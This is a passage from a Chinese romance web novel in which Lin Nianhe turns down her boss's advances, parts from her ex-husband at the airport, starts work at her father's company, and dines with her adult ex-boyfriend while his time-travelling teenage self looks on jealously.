不得不承认,徐寒的身材确实优秀,和她的过往两任不相上下。 白皙的皮肤泛起淡淡粉意,劲瘦的腰身,往上是一些不能描述的位点,胸肌看上去手感也很好,捏起来很软的样子。 一股热气顺着脖颈往上走,林念禾的大脑嗡嗡作响,就差拉警报了。 意识动摇两秒,视线倏地扫到徐寒的那张俊脸,一盆冷水好似从天而降把她心里的杂念彻底浇灭。 她轻轻吸了口气,后背上全是冷汗。 没有人会想和上司做/爱,光是单纯想想就让人萎靡不振了。 更何况,徐寒都能为自己的事业奉献到如此丧心病狂的地步,难保以后不会伺机报复回来。 “徐总,我对您真的没什么别的想法。”林念禾替他系上纽扣,第一次碰见这种场面,她手抖得厉害。 圆润的指甲尖端不小心划过徐寒的腹肌表面,留下一道很浅的红痕。 林念禾愣了一瞬,连忙去观察大少爷的表情。 没有想象中的厌恶,徐寒正静静地注视着那道痕迹,细微的疼痛传到大脑神经,有阵酥麻感从脊椎攀爬上来。 是以前从来没有过的情绪,好像身上的每个细胞都在希望林念禾能够继续,他控制不住地渴望对方能在他的身体上留下更多的痕迹,哪怕她对自己进行更过分的举动。 徐寒漂亮的瞳孔里出现些许迷茫。 怎么会出现这种奇怪的想法。 之前说想给她做三,是带有自己的算计。公司能用的人才不多,林念禾算是年轻一辈里的翘楚。能力强,没有杂念,除了对他的态度有时候很恶劣,徐寒觉得她是个再好用不过的下属,他需要这样的人留下帮他。 扪心自问,他不反感林念禾,即使林念禾想要自己做长期的情人,权衡利弊之后,他也能答应。 但眼下的发展犹如突然崩塌的高楼,和他先前的打算截然不同。 隐隐感知到某些感情的发芽,徐寒沉默下去。 林念禾见他一直不说话,以为他还没放弃做三的想法,于是大着胆子劝道,“我知道你是一时糊涂才做出这种事,徐总放心,出了这间办公室我立马忘得一干二净。我等会儿还有工作要忙,要不您先走?” 圆润的眼眸里没有一丝杂念,连对他肉/体的欣赏都找不出来。 嫉妒和挫败感同时踊跃出来,徐寒甚至分不清是男人的自尊心作祟还是在记恨那个她名义上的丈夫。 “林念禾,送上门的男人你都不要?”他的眼底漆黑一片,语气冷得可怕,“你可真老实。” 莫名被扣上老实人的帽子,林念禾不知所以地冲他挤出笑,“过奖过奖,徐总您还不走?” 话尾一落,门哐当被人用力摔了下,能看得出来徐寒走的时候带着冲天的怒气。 总算安静下来,林念禾筋疲力尽地趴在办公桌上。 好在提交上去的辞职申请没多久就被同意了,徐寒没有从中阻拦,反倒是何健巴不得她辞职走人,一直替她催着人事那边的流程。 之后的日子,在公司,她没和徐寒再见过面,那天午休在办公室发生的事情像是从来没发生过。林念禾把这些归咎为他勾引未果,恼羞成怒,所以记恨上她,希望自己赶紧滚。 江予州出国的日子一天接近一天,那天林念禾特意请了一天假。本来霍锌想跟过来,她想都没想就让他老实去上学。 小绿茶万一到时候把江予州气出好歹,上不了飞机怎么办。 为了杜绝这种情况,她坚决不会带上霍锌。 单人病房里, 上次陆建林走后,就擅自把江予州安排进单人病房。房间像个套房,什么都有,江家人今天都到齐了,一家三口站在旁边看医生替江予州做最后一次的检查。 江黎把胳膊从江伯母的怀里抽出来,走到林念禾身边,抱着她的腰。 她最近忙着申请国外大学的交换生名额,希望能出国陪她哥治病。这会儿小姑娘两个眼眶泛红,眼泪要掉不掉,闷声问,“嫂子,你和我哥是不是要分开了?” “我……没办法陪他走。” 江黎眨了一下眼,大颗大颗的眼泪开始往下掉,“我说的不是这个,你们是不是要离婚了?” 她有眼睛,能看得出来他们两个人最近的不对劲。要么不说话,要么就是说着说着就沉默下去,两人之间的气氛尴尬又陌生,像是有一堵看不见的墙横在中间。 林念禾顿了下,不知道怎么回答,“对。” 结婚两年没小孩,她搂着无声哭泣的江黎突然觉得这跟离婚后,小孩痛苦大哭希望爸爸妈妈不要分开的场面有异曲同工之妙。 拍着江黎的肩膀安慰,林念禾目光微抬撞上江予州的视线,下一秒又垂眼错开。 小孩儿还能哭一哭,她连问他为什么先在离婚协议书上签字都不敢问出口。她想过很多,也站在各种角度去理解局面,理智上知道这件事是对的,感情上却见鬼地想不明白。 按照她现在在陆建林心里的地位,多劝两天,多说两句好话,离婚的事不是没有挽回的可能。可他一句话都没跟她说,就结束了这段婚姻。 继前男友把她甩了,27岁的林念禾又迎来了人生的第二次被男人甩。 今天的天气阴沉,却无风无雨。 江黎哭得差不多了,自己偷偷擦干净眼泪,哽咽道,“嫂子我没有怪你的意思,我哥生病后你身上背负的压力最大,我知道你的辛苦,也尊重你们的选择。” “以后我哥从国外回来,你们还有复合的可能吗?” 她很喜欢江念禾,也喜欢那个有他们俩的家。明明知道这种话对于林念禾来说是个撕开隐私的问题,她还是想替她哥问问。 江予州从小就很能装,性格压抑,喜欢一样东西,从来都不会说出口。两年前他告诉她,自己和一个认识不久的女孩儿闪婚了,江黎就知道他一定是很喜欢很喜欢对方,以至于爱意多到装不下才能宣之于口。 “不知道。”林念禾摸摸她的脑袋,“以后的事谁都说不准。” 遇见感情上的挫折她很多时候会选择把脑袋埋进沙子里做鸵鸟,躲在自己的壳内,等着别人来敲门。 以至于现在只能装作什么都没发生,像往常一样和江予州相处。 送江予州去机场时,江伯母和江伯父没有去,临走前拉着他的手叮嘱了很多。 机场, 江黎主动和他抱了抱,“哥,我等你回来。” 多余的话,她没再说,很快松开手,站到一边。 江予州小心翼翼地去够林念禾的手,温热的指尖相贴,他的掌心干燥,将她的手掌包裹起来,“要不要和我拥抱一下?” “不想。”离婚十几天,她第一次表现出不一样的情绪。 “我惹你生气了,是我不好。” 林念禾质问的话到了嘴边又被咽下去,被他的态度整得瞬间失去脾气,最后主动迈步贴近,单手抱住他。 “一路平安。” 带着点点哭腔的声音传进耳道,江予州有那么一瞬很后悔自己主动松开她的手,摘掉丈夫的头衔,自以为是地替她选择合适的人生。 他是个累赘,患病的身体没法儿保护她,没有办法给她一个安稳的家,甚至都不能站出来驱赶外面那些觊觎她的男人。离开他,林念禾会过得更好,遇到更好的人。 至于自己藏在阴暗处的占有欲,就留给以后的他在孤独的人生中去消化,算作推开她的报应。 “你以后会记得我吗?” 头顶的男声冷不丁响起,林念禾缓步往后退开一小段距离,江予州抬起食指摁了摁她泛红的眼角,眼神温柔,“我希望你能记得我,如果我回不来了,念禾下辈子还会和我结婚吗?” 他在奢求一个 虚无缥缈的承诺。 “会。” "可是我做得不好。"江予州低头瞧她,声音淡淡的,"我不会做饭,对你的关心不够多,还不会说情话,工作很忙没办法天天接你上下班。" "如果我是你,就不会选择跟我这样的人在一起。" 他摸着她的侧脸,眼皮下垂,情绪压抑,"别不高兴了。" 林念禾的眼泪倏地落下,像开闸的洪水,止不住地往外流,她把头埋进他的怀里。 "我不想听这些话。" 他紧紧抱着她,亲了下她的侧脸,"那你想听什么?" "听我说我有多爱你吗。" "妈去世前,让你出去,把我叫进去说了很多你小时候的事情。那个时候我就在想,怎么会有小孩儿这么可爱,这么乖,自己天天拉着外婆的手去上课。" "如果我们上的是同一个高中,我会借着学习的名义和你聊天,跟你报同一个志愿,然后追求你,和你毕业后结婚。" 她听另一个人说过一模一样的话,那个人也是这么做的,结果他们还是走散了,就跟她和江予州一样。 太拧巴的两个小孩儿走到一块儿,连一句喜欢都难以说出口。 她甚至想过很多,怀疑他是不是不喜欢自己,也和她一样为了随便找个能拉自己出漩涡的人结婚。 江予州用指腹擦去她眼角的泪,"我们离婚了,你不用怕我难受所以不敢去谈恋爱。无论你怎么做,我都会接受。" 他顿了顿,"说不定到时候会突破自己的道德底线,为你做小。反正我不在乎这些,外界的言论对我来说,不算什么。" 有句老话怎么说的来着,不被爱的才是三。 按照他在林念禾心里的分量,大概能当个小四或者小三 第27章 第27章合眼缘的前任 飞机越过白茫的云层,留下尾痕。 江予州离开后,就跟人间蒸发一样。她给他发过好几次消息,问他最近怎么样,都得到了很敷衍的回复,之后更是连消息都不回了,也不主动发短信。 他主动切断两个人的联络,自己一人在大洋彼岸等待生或死的未来。 十一月份,林念禾空降到陆氏担任副总经理。 最初陆建林想让她去各个部门轮一遍岗,加深对公司各项业务的了解。以便于后续的管理。 但脱离那层血缘关系滤镜,他更想试试林念禾到底有多大的能耐,以后能不能带领陆家走得更好。 如果不能,他需要另作打算。 副总经理的办公室很大,带领她办理入职熟悉公司的是陆建林上回派来给她送离婚协议的女秘书。 “陆总,喝咖啡吗?”女秘书问她,“还是红茶或者绿茶” 林念禾将目光从手边的文件转移到女秘书身上,“一杯温水,谢谢。” “还有,我姓林,不姓陆。” 她推门的手一顿,“好的,林总。” 片刻,林念禾接过她手里的杯子。 “我还不知道你的名字。” “我姓苏,叫我小苏就行。”苏荥回道,“陆总把我调到您的身边做助理,我的工位在外面,您有事可以随时叫我。” 十一月份的天气,即使屋内没风,比外面暖和不少,但也没到穿着短裙,光着腿的程度。 林念禾不动声色地打量了一下她,黑色的A字短裙,一双修长白皙的腿,脚下是七八厘米的高跟鞋,精英气质扑面而来。 “你冷吗?” 苏荥愣住,“林总你冷” 她早习惯了这幅着装,有时候冻着冻着就没感觉了。所以在听见林念禾问的问题时,下意识以为是对方冷,完全没考虑到自己身上。 林念禾已经开始翻看文件了,“我是在问你。下次可以穿得舒适一点,没必要太紧绷。我不知道陆建林对自己的秘书都有什么严格的要求,反正在我这里,无所谓。” “当然工作上面我的要求会有些严格,但我相信你都能做到。苏助理那么漂亮的履历,想必能力也不会差到哪里去。” 一个棒槌之后再给颗枣,领导话术算是被她领悟透彻了。 人终究活成了自己最讨厌的模样。 苏荥表情空白一瞬,像是没反应过来,接着平静道,“好的,林总,我知道了。” 打工人三件套,好的,收到,知道。 她轻轻退出去,阖上门的瞬间,猛地松口气,然后大步往自己的工位去。 一天下来,林念禾对公司内部大致有了一些了解。陆建林还让人给她送来了这些年的盈利报表,老牌企业在时代的快速发展中,逐渐表现出疲弱。 即使这样也仍凭借雄厚的资本,占据市场大头。 前段时间掀起来的国货热潮,还被公关部抓住狠狠营销了一把,所以今年的业绩要比往年好看不少。 林念禾掐了掐自己的眉心,终于知道为什么霸总小说里的总裁老天天面无表情地这里痛那里痛了,她光是在陆氏上了一天班,就精神疲惫,痛得厉害了。 想起以前高中跟贺渺吹牛画饼,放下狂言说自己当了霸总要包五个男模。 可得了吧,她现在什么欲望都没有,对着再好看的男人也硬不起来:) 上班令人阳/痿。 到了下班的时间点,林念禾拎着包就走。助理工位上的苏荥茫然地起身,"林总" 林念禾脚步都没放慢,一边走一边说,"到点下班,你不走" "……" 苏荥胸前挂着的工牌轻轻晃荡两下,犹如她悬在空中的心,"我……" "明天的事情,明天再说,我没加班的习惯。" 说完,林念禾就走远了。 那背影看起来极其洒脱自信。 苏荥突然开始崇拜这位空降过来的陆董亲女儿,好有魄力。 林念禾不知道自己不愿意加班的举动,在自家助理眼里变得大展光芒。 她刚坐上自己的车,四个熟悉的保镖大哥就围上来,聚在她的车边。 林念禾:…… 她降下车窗,"有事" 其中一位保镖带着黑墨镜,"陆总说想请您回家吃顿晚饭。" "……" 一回事二回熟,林念禾懒得下车,"你们跟在我车后面就行,我自己开过去。" 几位保镖大哥乐得轻松,直接回到自己的车上。 到陆家后,大哥们还乐呵呵地跟她说再见。 饭桌上, 陆建林没什么胃口吃饭,吃了两口就放下筷子。 温诗瞧他一眼,"念禾你不知道,你今天第一天上班,你爸焦虑地像是送你去高考。" 林念禾胃口倒不错,吃饭完一碗,还让佣人去添第二碗。 "演技不错。" "……" 温诗被她阴阳怪气的话刺了一下,面色尴尬一瞬。 她之前是演员,也不知道她这话是在骂自己还是在骂陆建林。 "找我回来有事吗,没事的话,我等会儿就回家了。\" 林念禾挑了块鱼肉放进碗里,"最近实在是抽不出时间。" 她的态度比之前要缓和很多,陆建林知道她这是在一点点地接受自己。 "过两天,有个和傅氏的饭局,你替我去。" 陆建林表情严肃,"你堂弟前段时间从国外毕业回来进入公司,没事的时候你也可以稍微带带他。陆桦甸没你聪明,但人单纯,你做姐姐的应该照顾好弟弟。" "公司那么多助理秘书,不够帮他" "外人哪能和自家人比,再说了,等我以后走了,就数他在公司和你最亲。" 林念禾笑了下,淡淡道,"是单纯还是人傻好骗,只有你自己心里清楚。" 他皱眉,"男孩儿都晚熟,你多包容一点就是了。" 林念禾倏地觉得心口发堵,没再多言。 等陆桦甸老了 死了埋在土里,愚蠢地过一辈子,陆建林都能夸他一句晚熟以后到地府见阎王爷,必定还能有出息。 拼命让她回来,是因为自己是他唯一的孩子。陆建林生性自私,绝对不会大方地将所有遗产赠送给弟弟的儿子。 抛开这层亲父女的关系,他又自然而然地偏向男孩。 她有的时候也很庆幸自己没能在他身边长大,没有受过一分养育之恩,所以能够肆无忌惮地去恨他,送他去死。 吃得差不多,温诗出声挽留,"念禾要不留下吧,楼上我重新布置的房间你还没见过呢。" "不用,我家里还有宠物要照顾。" 见她态度强硬,温诗也不好继续劝她。 林念禾回家,把乐乐牵出去溜了一圈,洗完澡出来,望见床头柜上的婚纱照相框。 那张照片照得很好看,纵使那会儿自己的脸色并没多好,江予州也没有表现出很喜悦的神情,但两个人的脸抗住了一切。 穿着洁白婚纱的女生挽着男生的胳膊,注视镜头,美好得让人惊叹。 这套房子准确来说,算是他们的婚房。 江予州靠自己的存款和爸妈留下的遗产,林念禾也帮着出了一部分。 两个人离婚后,她太忙了,忙到忘记搬家这件事。 今天才突然意识到不能再住在这个到处都是,他们两个人的生活痕迹的房子里。 她一时半会儿还真买不起其他房子,租房又很麻烦。 林念禾想了想,于是主动给自己的爸爸打了人生中的第一个电话。 有便宜不占是傻子,以前是自己的道德标准太高,现在的她毫无道德底线,无所谓啦。 陆建林二话不多就给了她一套靠近公司的大平层。 等霍锌放晚自习回来,听到搬家的消息眼皮动都没动,反而隐隐透露出高兴。 公司有给她安排专门的生活助理,是个圆脸的小姑娘,做事认真到不行。 周天搬家,生活助理早就联系好搬家公司,林念禾只需要开车带着霍锌出发,把人送到新家就行。 霍锌这段时间在准备二中的期中联考,整天除了做题就是做题。 睡眠不足导致他软趴趴地把脑袋贴在玻璃上,哼唧,"你今天有事吗?" 林念禾的心硬得跟石头似的,没被他撒娇似的声音给蛊惑,"有。" 她等会儿要去和傅氏的小傅总吃顿饭,聊一下前段时间两家公司的合作。 "我好久没出去吃饭了。" 少年幽幽叹气,"如果有人晚上带我出去吃顿饭该有多好啊。" 林念禾注意力全在前方的路上,没搭理他。 少年揉了下短发,凑过来,温热的呼吸撒在她的耳垂上,湿漉漉的黑眸盯着她,"姐姐,你听见我说话了吗?" 要是在他的时空里,林念禾让他撒娇喊姐姐,他保准会把对方摁在墙上亲到喊他哥哥。 这不是称呼的问题,是个男人都不想做年下。 穿到九年后已经快两个月了,他节操什么的早扔到九霄云外去了。 节操,尊严,男人的地位,都没有挽回女朋友的心重要。 江予州是走了没错,但那个老绿茶不知道给她下了什么迷魂咒,林念禾还是不愿意多看他两眼。 霍锌声音沉磁,卫衣的大领口处露出分明的锁骨,只要林念禾稍微一侧头,她就能顺势从衣领往下看见自己的腹肌。 "你怎么不理我" 他弯曲指节,隔着衣物轻轻碰了碰她的腰。 林念禾不耐烦地把他推回去。 "等会儿探头拍到,我要是被扣分,你就死定了。" 霍锌:…… 抛媚眼给瞎子看。 他霎时安静下来,开始深深地反思自己身为18岁男高的魅力。 男孩缩在位置上,神色落寞,好似遭受到剧烈打击。 她终究是于心不忍,"好了,我晚上带你出去吃。" 饭局定在一个私密性很高的私人会所,幽静清雅,建筑仿古。 服务员领着林念禾进入包厢,房间内已经坐了两个人。 她一眼就看见对面坐着的陌生男人,上去和人握手,"傅总好。" 傅阎和善地笑了笑,"今天我还带了其他人,林总不会介意吧。" 能被傅阎带着吃饭的人,自然跟他差不多地位。 林念禾这才注意到身边的男人,自己进来时,他背对着她,一不小心就忽略了。 "霍锌,我朋友,木幸的创始人。" 这事怪傅阎不记事,本来答应好和陆氏的饭局,早上助理也发过日程安排,结果他搞忘了。 上午跑到霍锌家里缠着他打了一局游戏,本想顺道跟他吃顿午饭,突然发现自己还有个安排。 傅阎寻思了一下,反正说来说去都是那些合作的事,上次合作霍锌还从中帮了他一把,带过去一起吃饭也不成问题。 更何况,对面就只来一个女孩,没其他人。 三个人吃顿饭怎么啦。 正好治治他兄弟的性冷淡,让他多跟异性接触接触。 人姑娘都到面前了,霍锌还坐着不动,没有离开的迹象。 傅阎觉得,这位林总估计很合他兄弟的眼缘。 第28章 第28章分手三年,孩子十八岁…… 林念禾僵了一瞬,转而朝霍锌伸手,"霍总好。" 微凉的指腹相碰,接着分开。 她收拾好心里的杂七杂八,坐下。 没什么的,和霍锌吃顿饭。 以前又不是没吃过,他俩第一次重逢见面就是在饭局上。 林念禾觉得自己可能是今年命里犯点什么,不然怎么能总是在各种场景下偶遇该死的前男友。 傅阎自来熟,聊了一会儿正事,就开始和她插科打诨忆往昔。 "今天天气真好,上次我前女友跟我提分手也是这么个大阳天。" "……" 她端茶杯的手一顿,下意识扫了眼霍锌。后者依旧表情冷淡,林念禾在脑子里把傅阎的话过了七八遍,配合霍锌的反应,确定对方是单纯的感叹,没有任何冷嘲热讽的暗示。 “这个表情干什么?” 傅阎莫名地瞧她,"过去的事了,我早就不放在心上,谁年轻的时候没在感情上受过伤。" "霍锌当年……" "吃完饭,送我回去,车留给你。"霍锌打断他的话。 那辆车,霍锌稀罕得跟什么似的,从来不借人,就连他都不行。 整得像以后嫁老婆的嫁妆似的。 "没问题。"傅阎干脆应下来,转头跟人继续聊天,"霍总没受过情伤,他以前念初中的时候,是校草,每天情书都塞一抽屉。" 他和霍锌念的同一个初中,相比于他比脸还干净的抽屉和桌面,他的校草同桌抽屉里经常会出现粉色的小信封。 "真的吗,我看傅总也不差啊。" "所以我后来出国不跟他一起念书了,在他身边容易没自信。" 林念禾早上没垫吧几口,这会儿真有点饿,筷子刚抬起来。 一只剥好的虾被人投喂进碗里。 房间内霎时间安静如鸡。 傅阎没说完的话噎在嗓子眼里,懵了一下,缓缓看向邻座的男人。 男人神情平淡地将手里的虾肉以同样的方式往他碗里扔了进去,然后垂着眼擦手。 那双修长的手,骨节分明。 林念禾匆匆看了一眼就挪开视线,不再动筷子。 给一人剥一只的端水行为,没有抹平傅阎的怀疑。 碍于林念禾在场,他又不好直接问。 总不能直接贴着脸问他,为什么给他剥虾,为什么还给第一次见面的女孩儿剥虾。 纵使内心波澜壮阔,傅阎面上没有表现出来,朝林念禾解释,"霍锌心细,喜欢照顾朋友。" 鬼知道,他现在脑子嗡嗡的,就想揪着这位大哥的领子,让他冷静点。 林念禾很理解地点头,"看出来了。" 以前谈恋爱时,霍锌向来都是主动照顾她的那个。 半天不出声的男人像是终于擦干净手,同她对视,"看出来什么?" 傅阎说要带他和陆氏新上任的小林总吃饭,他就猜到会是她。 心里再抵触,身体还是诚实地跟着过来了。 有的时候,他也很嫌厌自己这幅没底线的身体。 一看见林念禾,就好像狗看见肉骨头,控制不住地想侵吞,想撕扯入腹。 习惯骗不了人,等真坐在她身边,眼神自然而然地落在她身上,注意着对方的一切小动作。 傅阎聊的话题太隐私,她眉毛微蹙,潜意识地表示抗拒。林念禾拿起筷子,眼睛向左瞥了一下,他就知道她想吃那道菜,但怕麻烦所以放弃。 没等想法在脑子里绕半圈,他的手就抢先一步替人剥好,送进碗里。 十足的倒贴行为。 不可否认的是,在看到傅阎微妙的表情后,霍锌的心里涌入一缕隐秘的喜悦。 他讨厌没人知道他们的过往,讨厌林念禾和其他男人在一起。 那个位置应该是他的,如果霍家没出事,如果他们没吵那次架,他会顺理成章地成为她的丈夫,可以光明正大地抱着她,嘲笑那些不自量力的男人。 "看出来人好,心细。" 林念禾搜刮出两个词,来夸他。 傅阎打着圆场,"夸得好,他就爱听别人夸他人好。" 话音刚落,霍锌声音淡淡地,"你不是不喜欢心细的吗?" 嫌他管得多,嫌他占有欲太强。 还为了她老公,扇了他一巴掌。 傅阎眼珠来回动了动,看看他,又看看她,终于发觉出点不对劲。 \"这鱼味道不错。\" 傅阎接话,"是吗,我尝尝。" "傅总会钓鱼吗?" "会啊,还是霍锌教我的。\" "……" 林念禾一时间觉得这包厢有些让她喘不上来气,话题怎么绕都绕不开。 她索性撂下筷子,后背微仰,笑意盎然,"我不记得自己说过这种话,霍总是在哪儿听见的?" 想踩着陆建林往上爬,她就不可能绕过这张以霍锌为中心的人际关系大网。但凡他朝外面打声招呼,她未开始的皇太女篡位之路直接完蛋。 静了好长一段时间,霍锌给她盛了碗汤,"是我记错了。" "确实,我们谈恋爱的时候吵的架不再少数,记错也挺正常。" 林念禾的态度比他正常很多,脸上还挂着笑,像是随口说了一句今天天气真好一样。 这句话宛如丢下惊天巨雷,傅阎顿时坐立难安,想到自己刚才干的蠢事,他就想跑出这个包厢。 他发小念念不忘的已婚前女友…… 那霍锌方才在干什么? 这和在他眼皮子底下撬墙角有什么区别。 他是劝阻,还是支持 来不及消化关于他俩谈过的消息,傅阎已经开始思考她老公要是追过来打人,他该站在道德的一边,还是站在友情的一边。 能坦荡荡地说出来,霍锌就知道,林念禾是彻彻底底地放下了。 不像自己,还困在过往出不来。 一颗心仿佛坠入深谷般冰冷。他之前在嘴硬什么,为了她,他什么都愿意的。 不管是躺在她的身下,还是依偎在她的脚边,他希望自己能被林念禾的手掐住,肆无忌惮地戏弄。 一顿饭下来,林念禾和傅阎相处融洽。 临到结束,两个人互换了联系方式。傅阎加完她的好友,舔着脸说,"你和霍锌也加个好友吧。" 林念禾没有迟疑,直接将手机递到霍锌的跟前。 加个好友而已,她一点都不介意,就当加个陌生人。 料他的性格也不会乱给她发些什么。 男人拿出手机,刚点进去扫描二维码,屏幕上倏地出现一只少年的手。 18岁的男高,身高和他相差不多,脸上带着口罩,眼神冷冰冰的。 他穿着二中的黑白制服,傅阎乍一眼望去,就觉得那股少年气息扑面而来。 小霍倚靠在林念禾的车边,语气懒散,"姐,你乱加什么人?" 林念禾光听语气就知道他要开始作妖,27的霍锌她惹不起,但18岁的霍锌还是能任扁搓圆两下的。 她猛地拉开驾驶位的门,"你先上车,我等会儿带你去书店买试卷,知道你着急写题目,也不急在这一时半会儿吧。" 男生站姿如松,她推半天没推动。 傅阎倒觉得有些新奇,多看了男生两眼,走开。 他赶着去摸霍锌的车,八卦没有爱车重要。 少年慢悠悠地啊了一声,低头望向林念禾,"他好像不高兴了。" 林念禾: 两个人大眼瞪小眼,对视片刻,她转头去寻霍锌,男人还是那副死冰山脸,和饭桌上没差别。 他是怎么看出来不高兴的? "心眼有点小。"小霍轻飘飘地评论道。 霍锌不受他的影响,自己调出二维码名片,递到林念禾的跟前,"陆氏最近和万业的合作,我建议你再考虑考虑。" 她的注意力瞬间被吸引过去,"为什么?" 这是陆建林交给她的第一个项目,她看过项目书,从各方面来说,两家的合作算得上双赢。 "一句两句说不清楚,等下午我把文件发给你。" "好。" 小霍插在兜里的手紧了又紧,眼睁睁看着霍锌用工作做诱饵,引她上钩。 加完好友,霍锌收好手机,望了少年一眼,"去书店买教辅" 念着他刚可能帮了自己一个大忙,林念禾难得有耐心搭理他,"下礼拜高三期中联考,带他去再买几套试卷。" "学的理科" "对。" "我记得书店里有那种单学科试卷和理综卷,这两种搭配着用效果比较好。数学的话,我那会儿一般都是一次买三套,写下来之后,确实成绩提高很多。" 他顿了顿,"我的办法也可能不适合现在的学生。但是学习没有捷径,见的题目多了,成绩自然而然地就能提上去。" 少年在口罩下,牙都快咬碎了,别以为他看不出来。 他在报复他。 老绿茶。 霍锌又望他一眼,语气平淡地夸道,"耳钉挺好看的。" 他不说还好,一说林念禾顿时发现,小霍的左耳带着黑色的耳钉。 二中查仪容仪表查得很严,不准男女生佩戴首饰。违反三次不改的学生,会被老师请家长到办公室谈话。 她不想去给前男友当家长,挨老师骂。 小霍真气笑了,他平时上学从来不带这些乱七八糟的东西。 中午林念禾临走前,他无意中瞥见了她手机的消息。 和傅总吃饭。 整个A市除了傅阎那个傻子,还能有哪个傅总。 他爸早八百年就退休不干了,和他妈环球旅行去了。 傅阎和他关系有多好,他当然知道。 正因为知道,所以他才怀疑傅阎会带着27岁的霍锌和她见面。 包厢他进不去,只能守在车边守株待兔。 果然让他抓住这个居心不良的男人,试图和林念禾重新交换联系方式。 至于耳钉,是他出门前门前特意带上的。戴上它,才会让自己面对那张一模一样的脸时,不感到恶心。 "哥年纪比我大这么多,居然还能和我保持同一水平的审美。"少年直起身,佯装感叹。 说他没礼貌吧,他还管霍锌喊哥,说他有礼貌吧,他暗戳戳讽刺人家年纪大。 林念禾反手拉开后驾驶位置,趁小货不注意,一把将人推进去,砰地关上门。 这阴阳人的话,她听着都觉得血压酷酷往上飚。 霍锌仿佛不在乎,跟她告别。 等到车上,傅阎边开车边问,"你觉不觉得那个孩子看起来有点眼熟。" "不觉得。" 就一双眼睛露在外面能看出来什么。 过了一阵,他猛地一个急刹停在路边,"我知道了,他的眼睛居然跟你长得 一模一样。" 霍锌揉揉脖子,眼眸黑沉,"所以" "他像你和林念禾的结合体。"傅阎惊诧,"难不成当年……" "你的意思是,我们分手三年,孩子18岁" 第29章 第29章初次掉马 傅阎沉默了一瞬,轻踩油门,"九岁生儿子是不是不太现实。" "我觉得你需要回去把初中生物再学一遍。" 被怼的人不但没生气,反而看了他一眼,搓搓胳膊,"突然间听见你跟以前一样骂我,心里还挺舒服的。" "……" 傅阎猛拍他大腿,"哥们儿,我知道了。你说会不会是林念禾对你余情未了,所以特意在身边养了个跟你长着一双一模一样的弟弟。" 霍锌无语,"对方是个高中生。" "也对,年纪太小了。"他悻悻道,"不过我还是觉得他跟你以前很像,你懂吗,就是气质说不出来的像。" "你以前也这样,懒懒散散地拿眼皮看人,硬生生把给你送情书的女生吓哭了,还是我追在人家后面哄她。" "对,然后你把她哄成了女朋友。" 霍锌的耐心一点点减少,阖眼不理睬他。 傅阎没有半点心虚,"我跟你说,你再天天摆出一副冰山样,林念禾肯定不会重新喜欢上你了。" 破镜重圆什么的,也别想了。 这碎镜都快磨成粉被霍锌含恨喝下去了。 "为什么?" 霍锌凉凉开口问,"你很了解她" 听出话里有话,傅阎连忙否认,"那倒没有,就是和她聊天能感觉出来。" 他暼了一眼副驾驶位置上男人的脸色,再接再厉道,"你要真还喜欢她,并且对自己有几分信心,你就去试试看呗。" "做小卖乖,给她当狗,拿身体勾引她,我觉得对你来说挺简单的。再说了,如果她真因为你要离婚,那说明她和他老公的感情本来就经不起考验,没有你,他们同样迟早会离婚。" 车驶入小区,傅阎还在说个不停,"你家里应该有镜子吧,回去自己对着镜子照照,看看你和那位高中生弟弟的眼睛长得有多像。" 话音刚落,车门被用力地关上。 从他开始劝说霍锌放下底线遵从内心,他就没有回应过一句。 傅阎勾唇笑笑,他多了解他,按照对方的性格如果真的不想听他劝,早该出声制止。 可是霍锌并没有,这说明他内心在动摇不定。 念着这辆车以后多半会落到他的手上,傅阎难得没有拆穿他。 男人嘛,装就装吧,等吃够苦头,就不敢再装了,只敢摇尾乞怜。 想到前女友之前也是这么对自己的,傅阎嘴角猛地下坠。不一样的,他相信林念禾会给他兄弟一个名分。 洗完澡后,霍锌对着镜子擦拭黑发,眼神无意识地和镜中的自己对视上。 回忆起傅阎说的话,他皱了下眉,手却不自觉碰了碰眼角。 像吗? 好像确实有点。 神情忽地冷下来,霍锌将手里的毛巾扔到洗脸台边,面无表情地拉开浴室门。 林念禾都不喜欢他了,他还想着这些没有用的东西做什么。 刚走到客厅,一只三花色的小猫蹦到他的脚边。 霍锌随手将它捞起来,坐到沙发上,一边摸着猫,一边打开电脑给林念禾发文件。 他没有说谎骗她的联系方式,万业集团债务问题不是一句两句话就能说清的。 表面上风平浪静,股票平稳,实则已经是个空掉的巨壳。 它旗下分支发展太多,错综复杂,最根本的房地产业务资金链都快断了。 前几个月前,万业子公司开发的新能源汽车问世,侥幸给它带来了一波回血。 林念禾刚上任就跟这种公司合作,等于自己蹦跶着往火坑里跳。 这只捡来的小三花,只有他巴掌大,喵喵叫了两声,舔着霍锌的手指。 皮肤上传过来湿漉漉的触感,他知道它是离开妈妈没有安全感,一昧地吸引自己的注意。 人和动物很相似,在没有安全感,感知到害怕失去的时候,会情不自禁地寻求对方的关注。 前者喜欢为自己套上面具,后者赤裸裸地用行为表达不安。 林念禾没有回他的消息,多半是在带着那位好弟弟吃饭。 霍锌放下手机,一只手托着小猫,起身去给它喂饭。 周日的书店里,有不少的学生在里面挑选资料教辅。 林念禾站在高三专区,随手翻了几下,就把面前的几本书全部递给少年。 男生方才的黑色口罩已经拿下来了,露出一张俊脸,耳钉也被取下来,配上身上的校服,三好学生的味道都快冲上天了。 "这些够了,下次再买吧,我饿了。" "我的学习经验不适合你,你自己试过并且成功的方式才是最好的。\"林念禾又拿起一本数学,"这里面有九年前的高考试卷,你可以重点做一做。" 霍锌揉揉鼻子,"那我还费劲学什么,直接把那次□□背下来,就能上清北了。" 他真的不喜欢学校,尤其是没有林念禾当同桌的学校,跟坐牢没区别。 "27岁的霍锌没有自己穿越的记忆,所以谁都说不清楚你到底是以前的他,还是平行时空里的他。在这种无法预知的情况下,我建议你最好别钻时间漏洞。" 到时候穿回去,自信满满地上高考考场,一拿到卷子发现题目完全不一样,他就只剩下出国一条路了。 林念禾往他手里加了两本教辅,和他一起去前台结账。 前台女生,一边摁着收银台上的机器一边说,"一共二百六十块钱,扫码还是现金" "霍忻" 霍锌结完账,冷不丁听见声音,下意识看了眼女生。 女生耳垂瞬间变红,扣着柜台的边,紧张道,"我是你的前桌。" 面前的男生脸上浮现出若有所思的表情,像是在脑子里回忆有没有这号人。 他在学校除了学习,就是和班里的男生打球,真没注意过其他人。 女生尴尬地背起手,"上午王杨过生日,你怎么没有来,我们等了你好久。" "我和他说过有事去不了,他没和你们说吗?" 周天他好不容易放一天假,当然要在家里黏着林念禾。 "没有。"她声音变小,见他要走,突然问,"这是你姐姐吗,好漂亮啊。" 